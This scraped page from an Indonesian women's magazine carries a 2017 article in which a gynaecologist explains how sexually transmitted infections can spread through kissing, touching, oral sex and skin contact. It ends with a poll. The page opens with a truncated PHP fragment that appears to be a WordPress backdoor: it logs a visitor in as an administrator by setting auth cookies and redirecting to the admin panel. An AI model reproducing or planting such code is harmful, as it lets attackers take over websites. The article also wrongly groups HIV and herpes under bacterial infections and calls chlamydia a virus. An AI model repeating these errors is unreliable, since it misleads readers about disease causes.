user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Sex & Relationship
Tanpa Bercinta, Anda Bisa Terkena Penyakit Menular Seksual Lewat 4 Hal Ini

6 Sep 2017


Foto: 123RF


Rasa curiga dan waswas terhadap penyakit infeksi menular seksual yang mengintai bisa mengurangi kualitas kehidupan bercinta kita bersama pasangan. Bahayanya lagi, kasus infeksi menular seksual, bahkan yang paling sederhana sekalipun, dapat terjadi pada wanita yang belum pernah melakukan hubungan seksual. Bagaimana mungkin?

Spesialis ginekologi, dr. Riyan Hari Kurniawan, SpOG, dari RS Dokter Cipto Mangunkusumo, Jakarta, mengupasnya untuk Anda, mulai dari cara penularan hingga pencegahannya.
 
Tentang Infeksi Menular Seksual

Menurut penjelasan dr. Riyan, infeksi menular seksual (IMS) adalah sekumpulan gejala klinis dan infeksi yang disebabkan oleh patogen, seperti bakteri, virus, protozoa, jamur atau parasit, yang bisa didapat dan ditularkan melalui aktivitas seksual.
 
Pada umumnya, semua IMS dapat ditularkan melalui kontak langsung atau kontak cairan tubuh. Infeksi bakteri, misalnya gonorea, infeksi klamidia, sifilis, HIV, herpes genitalis, kutil kelamin, hepatitis B, infeksi  trikomonas (protozoa), atau infeksi candida albicans (jamur).
 
Dampak kesehatan sangat bervariasi tergantung derajat keparahannya. Misalnya pada kasus infeksi HIV, mulai dari tidak bergejala pada infeksi awalnya, sampai dengan yang bergejala misalnya ada bercak putih jamur di mulut, disertai infeksi seluruh tubuh.

Pengobatannya tentu tergantung pada jenis IMS dan penyebabnya. Misalnya pada kasus infeksi HIV, terapi utamanya adalah obat antiretrovirus (ARV), infeksi herpes dengan menaikkan daya imun tubuh dan antivirus, infeksi hepatitis B terapinya dengan antivirus dan meningkatkan daya tahan tubuh, serta pelindung organ hati.
 
“Aktivitas seksual yang sehat bertanggung jawab serta mengetahui riwayat seksual pasangan, menjadi cara preventif agar Anda terhindar dari penularan penyakit seksual,” lanjut dokter yang juga berpraktik di RS PELNI, Jakarta Barat, ini.
 
1/ Kiss... Kiss…
“Ciuman adalah salah satu aktivitas seksual yang dapat menularkan IMS karena adanya kontak cairan tubuh, yaitu air liur,” jelas dr. Riyan. Namun, risiko ini tidak sebesar saat Anda melakukan kontak seksual, baik melalui penetrasi vagina, anal, ataupun oral. Sebab, penularan melalui saliva atau liur mungkin terjadi saat ada perlukaan terbuka di area mulut Anda. Luka terbuka, seperti seriawan atau tergigit, bisa menjadi jalan masuk bagi virus IMS.
 
2/ Masturbasi tidak selalu aman?

Tahukah Anda, jurnal Sexual Health mengungkap bahwa 51% kasus infeksi HPV justru ditemukan pada wanita yang masih perawan! “HPV atau human papilloma virus tipe 6 dan 11 adalah penyebab utama kutil kelamin. HPV biasanya ditularkan secara kontak langsung, biasanya seksual, dengan kulit genital, membran mukosa atau cairan tubuh dari seseorang yang sudah lebih dulu terinfeksi HPV,” jelas dr. Riyan.
 
Tidak perlu menunggu sampai terjadinya sanggama untuk terjadinya proses infeksi. Sebab, penularan HPV juga bisa terjadi melalui kontak kulit dengan alat genital. Apakah itu saat Anda sedang ‘bermain-main’ dengan pasangan, seks oral, masturbasi, atau bahkan hanya menyentuhkan tangan saja pada alat kelamin.
Advertisement
 
“Adanya luka, baik yang terlihat maupun hanya lecet, pada alat kelamin, lebih memungkinkan terjadinya infeksi HPV yang dapat berujung pada kutil kelamin,” lanjutnya. Vaksinasi HPV peting untuk melindungi serviks Anda dari virus HPV penyebab kanker pada serviks. Paling efektif vaksinasi dilakukan di usia 12 tahun atau saat anak mulai mengalami masa puber dan belum pernah melakukan kontak seksual.
 
3/ Bahaya Oral Seks

Seks oral yang tidak mengikutsertakan terjadinya penetrasi seksual pun bisa berpotensi menularkan virus IMS. “Seks oral melibatkan pertemuan cairan tubuh, misalnya cairan semen atau cairan vagina dengan air liur,” ungkap dr. Riyan.
 
Apabila permukaan, atau mukosa dari salah satu organ mengalami trauma, misalnya lecet, maka patogen IMS yang mungkin ada di salah satu pasangan, dapat masuk dan menginfeksi pasangannya.

Jenis virus yang mungkin ditularkan melalui aktivitas seks oral ini di antaranya herpes simplex tipe 2 dan chlamydia. Kedua virus ini penyebab herpes genitalis, yang salah satu gejalanya adalah bintik lenting dan sangat nyeri. Bakteri Chlamydia trachomatis menyebabkan penyebab penyakit klamidiosis (infeksi klamidia) yang salah satu gejalanya adalah keputihan, penyakit radang panggul.
 
“Upaya pencegahan tentu dengan menggunakan perlindungan yang diperlukan, seperti kondom, dan mengobatinya. Pilihan terapi untuk herpes genitalis adalah pemberian antivirus, sedangkan untuk infeksi chlamydia dengan antibiotik,” jelas dr. Riyan.
 
4/ Hanya skin to skin...
Bukan tanpa alasan jika skinny dipping, atau berendam tanpa sehelai benang pun di badan, menjadi cara seru untuk saling mengeksplorasi tubuh pasangan. Persentuhan antara kulit dengan kulit yang terjadi dapat menghidupkan getar-getar rangsang.
 
Meski terlihat tak berbahaya, rupanya cara ini tetap berisiko menularkan STDs, bahkan jika kegiatan ini dilakukan di luar kolam atau bath tub. Risiko ini makin tinggi pada Anda yang mengikuti tren waxing demi mempercantik penampilan ‘Mrs. V’ dan ‘Mr. P’.
 
Menurut dr. Riyan, kulit yang sehat dan intak (tanpa luka) sebenarnya merupakan pelindung kemungkinan terjadinya infeksi pada tubuh. Namun, terkadang terjadi perlukaan yang sangat kecil (mikrolesi) yang dapat meningkatkan penularan IMS melalui pori-pori kulit.
 
Penting! Lakukan Pemeriksaan Ginekologi, Tak Perlu Menunggu Sampai Menikah

- Pemeriksaan ginekologi dapat dilakukan sekalipun belum menikah atau belum aktif secara seksual, mengingat banyaknya kemungkinan masalah ginekologi yang dapat timbul selain IMS. Terlebih lagi, karena penyakit-penyakit IMS tidak melulu hanya disebabkan oleh penetrasi seksual.
 
- Pemeriksaan lengkap, seperti cek darah, pemeriksaan panggul, dan pap smear dapat menguak risiko penyakit IMS, kanker, atau penyakit genetis seperti talasemia.
 
- Ahli ginekologi akan membantu Anda memahami siklus menstruasi, seperti kapan masa subur Anda. Informasi ini sangat membantu Anda dalam merencanakan kehamilan yang sehat. (f)
 



Topic

#penyakitmenularseksual, #seks

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?